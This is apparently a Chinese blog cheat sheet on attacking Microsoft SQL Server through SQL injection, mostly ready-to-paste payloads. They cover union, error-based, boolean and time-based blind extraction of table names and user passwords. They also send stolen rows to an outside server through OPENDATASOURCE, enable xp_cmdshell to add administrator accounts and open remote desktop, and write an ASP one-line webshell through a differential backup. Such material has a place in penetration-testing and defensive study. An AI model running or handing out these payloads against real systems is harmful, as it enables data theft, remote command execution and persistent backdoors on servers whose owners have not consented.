MSSQL SQL注入 总结
0x00 MSSQL 基础
MSSQL系统自带库和表
系统自带库
MSSQL安装后默认带了6个数据库,其中4个系统级库:master,model,tempdb和msdb;2个示例库:NorthwindTraders和pubs。
** 系统级自带库** | 功能 |
---|---|
master | 系统控制数据库,包含所有配置信息,用户登录信息,当前系统运行情况 |
model | 模板数据库,数据库时建立所有数据库的模板。 |
tempdb | 临时容器,保存所有的临时表,存储过程和其他程序交互的临时文件 |
msdb | 主要为用户使用,记录着计划信息、事件处理信息、数据备份、警告以及异常信息 |
系统视图表
MSSQL数据库与MYSQL数据库一样,有安装自带数据表sysobjects和syscolumns等,我们需要了解
视图表 | 功能 |
---|---|
sysobjects | 记录了数据库中所有表,常用字段为id、name和xtype |
syscolumns | 记录了数据库中所有表的字段,常用字段为id、name和xtype |
sys.databases | SQL Server 中所有的数据库 |
sys.sql_logins | SQL Server 中所有的登录名 |
information_schema.tables | 当前用户数据库的表 |
information_schema.columns | 当前用户数据库的列 |
sys.all_columns | 用户定义和系统对象的所有列的联合 |
sys.database_principals | 数据库中每个权限或列异常权限 |
sys.database_files | 存储在数据库中数据库文件 |
MSSQL权限控制
- 服务器角色
最高服务器角色 | 说明 |
---|---|
sysadmin | 执行 SQL Server中的任何动作 |
# 我们可以通过语句判断权限:
and 1=(select is_srvrolemember('sysadmin'))--+
- 数据库角色
最高数据库角色 | 说明 |
---|---|
db_owner | 可以执行数据库中所有动作的用户 |
# 我们可以通过语句判断权限:
and 1=(select is_member('db_owner'))--+
MSSQL常用语句
# 创建数据库
create database [dbname];
create database test;
# 删除数据库
drop database [dbname];
drop database test;
# 创建新表
create table table_name (name char(10),age tinyint,sex int);
# 创建新表前要选择数据库,默认是master库
use test;
create table admin (users char(255),passwd char(255),sex int);
# 删除新表
drop table table_name;
drop table dbo.admin;
# 向表中插入数据
insert into table_name (column1,column2) values(value1,value2);
insert into admin (users,passwd,sex) values('admin','admin',1);
# 删除内容
delete from table_name where column1=value1;
delete from admin where sex=2;
# 更新内容
update table_name set column2=”xxx” where column1=value1;
update admin set users='admintest' where sex=2;
# 查找内容
select * from table_name where column1=value1;
select passwd from admin where users='admin';
排序&获取下一条数据
MSSQL数据库中没有limit排序获取字段,但是可以使用top 1来显示数据中的第一条数据,
使用 <> 来排除已经显示的数据,获取下一条数据。
使用not in来排除已经显示的数据,获取下一条数据。
# 使用<>获取数据
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+
# 使用not in获取数据
id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+
0x01 常用函数总结
名称 | 功能 |
---|---|
suser_name() | 用户登录名 |
user_name() | 用户在数据库中的名字 |
user | 用户在数据库中的名字 |
db_name() | 数据库名 |
@@version | 返回SQL服务器版本相关信息 |
quotename() | 在存储过程中,给列名、表名等加个[]、’’等以保证sql语句能正常执行 |
WAITFOR DELAY '0:0:n' | '时:分:秒',WAITFOR DELAY '0:0:5'表示等待5秒后执行 |
substring() | 截取字符串 substr(字符串,开始截取位置,截取长度) ,例如substring('abcdef',1,2) 表示从第一位开始,截取2位,即 'ab' |
0x02 常见注入类型
union联合查询注入
**1.判断注入点及类型**
?id=1' and 1=1--+
?id=1' and 1=2--+
# 那么此处是字符型注入,需要单引号闭合
**2.判断字段数**
?id=1' order by 3--+
?id=1' order by 4--+
**3.联合查询判断回显点**
?id=0' union select 1,2,3--+
**4.获取当前数据库名字和版本信息**
?id=0' union select 1,db_name(),@@version--+
**5.获取所有的数据库名**
?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name
from master.sys.databases)--+
**6.获取所有的表名**
?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in
(select top 1 table_name from information_schema.tables)--+
**7.获取所有的字段名**
?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in
(select top 1 column_name from information_schema.columns)--+
?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and
column_name not in(select top 2 column_name from information_schema.columns where table_name='users')--
**8.获取users表账号密码信息**
?id=0' union select top 1 1,username,password from users--+
error 注入
- MSSQL数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。
**1.判断注入点**
id=1
**2.判断是否为MSSQL数据库**
# 返回正常为MSSQL
id=1 and exists(select * from sysobjects)
id=1 and exists(select count(*) from sysobjects)
**3.判断数据库版本号**
id=1 and @@version>0--+
# @@version是mssql的全局变量,@@version>0执行时转换成数字会报错,也就将数据库信息暴露出来了
# 版本号:nt5.2:2003 nt6.0:2008
**4.获取当前数据库名**
and db_name()>0--+
and 1=db_name()--+
# 报错注入的原理就是将其他类型的值转换层int型失败后就会爆出原来语句执行的结果
**5.判断当前服务器拥有的权限**
and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+
and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+
and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+
and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+
and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+
**6.判断当前角色是否为DB_OWNER**
and 1=(select is_member('db_owner'))--+
# db_owner权限可以通过备份方式向目标网站写文件
**7.获取当前用户名**
and user_name()>0--+
8,获取所有数据库名
and (select name from master.sys.databases where database_id=1)>0--+
# 更改database_id的值来获取所有的数据库
**9.获取数据库的个数**
and 1=(select quotename(count(name)) from master.sys.databases)--+
**
10.一次性获取所有数据库库**
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+
**11.获取所有的表名**
# 获取当前库第一个表
and 1=(select top 1 table_name from information_schema.tables)--+
# 获取当前库第二个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+
# 获取当前库第三个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+
# 也可通过更改top 参数获取表
and 1=(select top 1 table_name from information_schema.tables where table_name not in
(select top 5 table_name from information_schema.tables))--+
# quotename和for xml path('')一次性获取全部表
and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+
# quotename()的主要作用就是在存储过程中,给列名、表名等加个[]、’’等以保证sql语句能正常执行。
**12.获取字段名**
# 通过top 和 not in 获取字段
and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+
and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+
# 通过quotename 和 for xml path('') 获取字段
and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+
**13.获取表中数据**
and 1=(select quotename(username) from users for xml path(''))--+
and 1=(select quotename(password) from users for xml path(''))--+
bool盲注
**1.** **判断注入点 **
and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+
**2.猜解数据库个数**
id=1 and (select count(*) from sys.databases)=7--+ # 存在7个数据库
**3.猜解数据库名长度**
id=1 and len((select top 1 name from sys.databases))=6--+ # 第一个库名长度为6
id=1 and len(db_name())=4--+ # 当前数据库名长度为4
**4.猜解数据库名**
id=1 and ascii(substring(db_name(),1,1))=115--+ # 截取库名第一个字符的ascii码为115——s
id=1 and ascii(substring(db_name(),2,1))=113--+ # 截取库名第二个字符的ascii码为113——q
# 截取第一个库名第一个字符的ascii码为109——m
id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+
# 截取第二个库名第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+
**5.猜解表名**
# 截取当前库的第一个表的第一个字符的ascii码为101——e
id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+
# 截取当前库的第二个表的第一个字符的ascii码为117——u
id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+
**6.猜解字段名 **
# 截取当前库的emails表的第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+
#截取当前库的emails表的第二个字符的ascii码为100——d
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+
**7.猜解表中数据**
# username字段的数据第一个字符为D
id=1 and ascii(substring((select top 1 username from users),1,1))=68--+
time 盲注
**1.判断是否存在注入**
id=1 WAITFOR DELAY '0:0:5'--+
**2.判断权限**
# 如果是sysadmin权限,则延时5秒
id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+
**3.查询当前数据库的长度和名字**
# 二分法查询长度
id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+
# 查询数据库名字
# substring截取字符串的位置,用ascii转为数字进行二分法查询
id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+
**4.查询数据库的版本**
id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M
**5.查询表个数**
id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+
# 当前数据库表的个数为6
**6.查询第一个表的长度**
# 查询第一个表
id=1 and select top 1 name from SysObjects where xtype='u'
# 查询结果为1
(select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')
# 利用and,进行判断,9为表长度的猜测
and len(name)=9
# 第一个表名长度为6
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+
**7.查询第一个表的表名**
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+
**8.查询第二个表的长度**
# 查询第一个表名,去除emails, emails为第一个表名
select top 1 name from SysObjects where xtype='u' and name not in ('emails')
# 同理,第三个表则 and name not in ('emails','uagents')
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emials')) and len(name)=6)<>0) WAITFOR DELAY '0:0:5'--+
**9.查询第二个表的名字**
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+
**10.查询第一个表中的字段**
# and name not in ('')查询第二个字段的时候可以直接在其中,排除第一个字段名
id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:1'--+
**11.查询字段类型**
id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+
**12.查询数据**
# 查询所有数据库
SELECT Name FROM Master..SysDatabases ORDER BY Name
# 查询存在password字段的表名
SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'
id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'--
# 查询包含pass的字段名
SELECT top 1 name FROM SysColumns where name like '%pass%'
id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--
反弹注入
就像在Mysql中可以通过dnslog外带,Oracle可以通过python搭建一个http服务器接收外带的数据一样,在MSSQL数据库中,我们同样有方法进行数据外带,那就是通过反弹注入外带数据。
反弹注入条件相对苛刻一些,一是需要一台搭建了mssql数据库的vps服务器,二是需要开启堆叠注入。
反弹注入需要使用opendatasource函数。
OPENDATASOURCE函数
OPENDATASOURCE(provider_name,init_string)
使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。
反弹注入一般流程
- 连接vps的mssql数据库,新建表test,字段数与类型要与要查询的数据相同。这里因为我想查询的是数据库库名,所以新建一个表里面只有一个字段,类型为varchar。
CREATE TABLE test(name VARCHAR(255))
- 获取数据库所有表
使用反弹注入将数据注入到表中,注意这里填写的是数据库对应的参数,最后通过空格隔开要查询的数据。
# 查询sysobjects表
?id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select namefrom dbo.sysobjects where xtype='U' --+
# 查询information_schema数据库
?id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test selecttable_name from information_schema.tables--+
在数据库成功获取数据
- 获取数据库admin表中的所有列名
# 查询information_schema数据库
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test selectcolumn_name from information_schema.columns where table_name='admin'--+
# 查询syscolumns表
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select namefrom dbo.syscolumns where id=1977058079--+
获取数据
首先新建一个表,里面放三个字段,分别是id,username和passwd。
CREATE TABLE data(id INT,username VARCHAR(255),passwd VARCHAR(255))
- 获取admin表中的数据
id=1;insert intoopendatasource('sqloledb','[server=SQL5095.site4now.net](http://server=SQL5095.site4now.net),1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.data selectid,username,passwd from admin--+
0x03扩展存储过程
在SQL注入攻击过程中,最常利用到的扩展存储
扩展存储过程 | 说明 |
---|---|
xp_cmdshell | 直接执行系统命令 |
xp_regread | 进行注册表读取 |
xp_regwrite | 写入到注册表 |
xp_dirtree | 进行列目录操作 |
xp_ntsec_enumdomains | 查看domain信息 |
xp_subdirs | 通过xp_dirtree,xp_subdirs将在一个给定的文件夹中显示所有子文件夹 |
xp_cmdshell详细使用方法
xp_cmdshell默认在** mssql2000中是开启** 的,在mssql2005之后的版本中则默认禁止 。如果用户拥有管理员sysadmin 权限则可以用** sp_configure重新开启** 它
execute('sp_configure "show advanced options",1') # 将该选项的值设置为1
execute('reconfigure') # 保存设置
execute('sp_configure "xp_cmdshell", 1') # 将xp_cmdshell的值设置为1
execute('reconfigure') # 保存设置
execute('sp_configure') # 查看配置
execute('xp_cmdshell "whoami"') # 执行系统命令
exec sp_configure 'show advanced options',1; # 将该选项的值设置为1
reconfigure; # 保存设置
exec sp_configure 'xp_cmdshell',1; # 将xp_cmdshell的值设置为1
reconfigure; # 保存设置
exec sp_configure; # 查看配置
exec xp_cmdshell 'whoami'; # 执行系统命令
# 可以执行系统权限之后,前提是获取的主机权限是administrators组里的或者system权限
exec xp_cmdshell 'net user Guest 123456' # 给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' # 激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' # 将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' # 开启3389端口
0x04扩展存储getshell
- 条件
数据库是 db_owner 权限
扩展存储必须开启,涉及到的的扩展存储过程: xp_cmdshell、 xp_dirtree、 xp_subdirs、 xp_regread
**1.查看是否禁用扩展存储过程xp_cmdshell**
id=0 union select 1,2,count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'--+
id=1 and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--+
**2.执行命令**
id=1;exec master.sys.xp_cmdshell 'net user admin Admin@123 /add'--+
id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+
0x05差异备份getshell
差异备份简介
- 差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限,我们可以把数据库备份称asp文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。
差异备份的大概流程
**1.完整备份一次(保存位置当然可以改)**
backup database 库名 to disk = 'c:\ddd.bak';--+
**2.创建表并插入数据**
create table [dbo].[dtest] ([cmd] [image]);--+
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+
**3.进行差异备份**
backup database 库名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+
# 上面0x3C25657865637574652872657175657374282261222929253E即一句话木马的内容:<%execute(request("a"))%>
测试案例
- 测试例子中我目标网站的绝对路径是E:\wwwroot\asp_sqli,数据库名是asp_test
- 完整备份一次
id=1;backup%20database%20asp_test%20to%20disk%20=%27E:\wwwroot\asp_sqli\ddd.bak%27;--+
- 创建表并插入数据
id=1;create%20table%20[dbo].[dtest]%20([cmd][image]);--+
id=1;insert%20into%20dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+
- 进行差异备份
id=1;backup%20database%20asp_test%20to%20disk=%27E:\wwwroot\asp_sqli\d.asp%27%20WITH%20DIFFERENTIAL,FORMAT;--
MSSQL SQL注入 总结的更多相关文章
- 详解基于MSSQL “order by”语句报错的SQL注入技术
SQL注入,又名黑客技术之母,是一种臭名昭著的安全漏洞,由于流毒甚广,已经给网络世界造成了巨大的破坏.当然,对于该漏洞的利用技术,也是花样繁多,如访问存储在数据库中的数据,使用MySQL的load和i ...
- sql server(mssql)联合注入
sql server(mssql)联合注入 sql server简介: SQL Server 是Microsoft 公司推出的关系型数据库管理系统.具有使用方便可伸缩性好与相关软件集成程度高等优点,可 ...
- 【原创】PageAdminCMS 前台SQL注入漏洞(3)
之前根据公司的要求找了几个web程序的漏洞提交CNVVD,发现漏洞提交上去两个月了,CNVVD却没有任何回应,我提交的这几个漏洞却悄悄的修补掉了. 文章作者:rebeyond 受影响版本:V3.0 漏 ...
- 【原创】PageAdminCMS 前台SQL注入漏洞(2)
之前根据公司的要求找了几个web程序的漏洞提交CNVVD,发现漏洞提交上去两个月了,CNVVD却没有任何回应,我提交的这几个漏洞却悄悄的修补掉了. 文章作者:rebeyond 受影响版本:V3.0 漏 ...
- 【原创】PageAdminCMS 前台SQL注入漏洞(1)
之前根据公司的要求找了几个web程序的漏洞提交CNVVD,发现漏洞提交上去两个月了,CNVVD却没有任何回应,我提交的这几个漏洞却悄悄的修补掉了. 文章作者:rebeyond 受影响版本:V3.0 漏 ...
- SQL注入攻防入门详解
=============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...
- SQL注入攻防入门详解(2)
SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱 ...
- iBatis的SQL注入
sqlMap中尽量不要使用$;$使用的是Statement(拼接字符串),会出现注入问题.#使用的是PreparedStatement(类似于预编译),将转义交给了数据库,不会出现注入问题:.前者容易 ...
- Java程序员从笨鸟到菜鸟之(一百零一)sql注入攻击详解(二)sql注入过程详解
在上篇博客中我们分析了sql注入的原理,今天我们就来看一下sql注入的整体过程,也就是说如何进行sql注入,由于本人数据库和网络方面知识有限,此文章是对网上大量同类文章的分析与总结,其中有不少直接引用 ...
随机推荐
- jquery中请求格式
$.ajax({ url:"/ceshi/", type:"get", cache:false, dataType:"json", data ...
- Loj#3026-「ROIR 2018 Day1」管道监控【Trie,费用流】
正题 题目链接:https://loj.ac/p/3026 题目大意 给出\(n\)个点的一棵外向树,然后\(m\)个字符串和费用表示你每次可以花费这个费用覆盖路径字符串和给出字符串相等的路径,求覆盖 ...
- selenium--启动不同的浏览器
在自动化测试经常用到 Firefox,Chrome,IE 浏览器,Firefox 自带驱动,所以我一直用这个测试.那么同一段代码能不能在同时打开两个浏览器呢?当然是可以,浏览器名称参数化. 重点:Ch ...
- asp.net core使用identity+jwt保护你的webapi(一)——identity基础配置
前言 用户模块几乎是每个系统必备的基础功能,如果每次开发一个新项目时都要做个用户模块,确实非常无聊.好在asp.net core给我们提供了Identity,使用起来也是比较方便,如果对用户这块需求不 ...
- Kubernetes client-go Indexer / ThreadSafeStore 源码分析
Kubernetes client-go Indexer / ThreadSafeStore 源码分析 请阅读原文:原文地址 Contents 概述 Indexer 接口 ThreadSafe ...
- windows使用VS编译python源码
使用VS2021编译python源码 说明,使用VS2019也是可以的. 环境准备 对于VS2019首要要安装必要的环境 到python官网下载源码压缩包以及解压(红色箭头任选一个都行) 打开下载好的 ...
- mac上通过git推送时忽略node_modules文件夹
node_modules出现改动一般不需要通过git推送,如果不忽略node_modules每次安装新的包会出现几千条新变动,并没有必要推送 1.通过终端进入项目根目录 创建 .gitignore 文 ...
- SpaCy下载及安装
SpaCy可以说是坑多到怀疑人生.. 但是看在它那么功能那么强大的份上,我还是决定原谅它哈哈哈~ 1.首先用官网给的命令快速安装纯属扯淡..(结果就是一直拒绝你的连接) 官网:https://spac ...
- 【原创】xenomai 在X86平台下中断响应时间测试
1.中断响应时间 实时操作系统的意义就在于能够在确定的时间内处理各种突发的事件,而中断这些事件.系统抢占调度的触发点,因而衡量嵌入式实时操作系统的最主要.最具有代表性的性能指标参数无疑是中断响应时间. ...
- Java面向对象/面向过程
面向过程 第一步做啥 第二部做啥 依此类推 层层递进 比如要弄一辆自行车 面向过程 搞车轮子 车链子 一步步来 如果有个地方坏了 说不定整个车都要拆了重新弄 扩展性很差 维护性也很差 速度比较快 面向 ...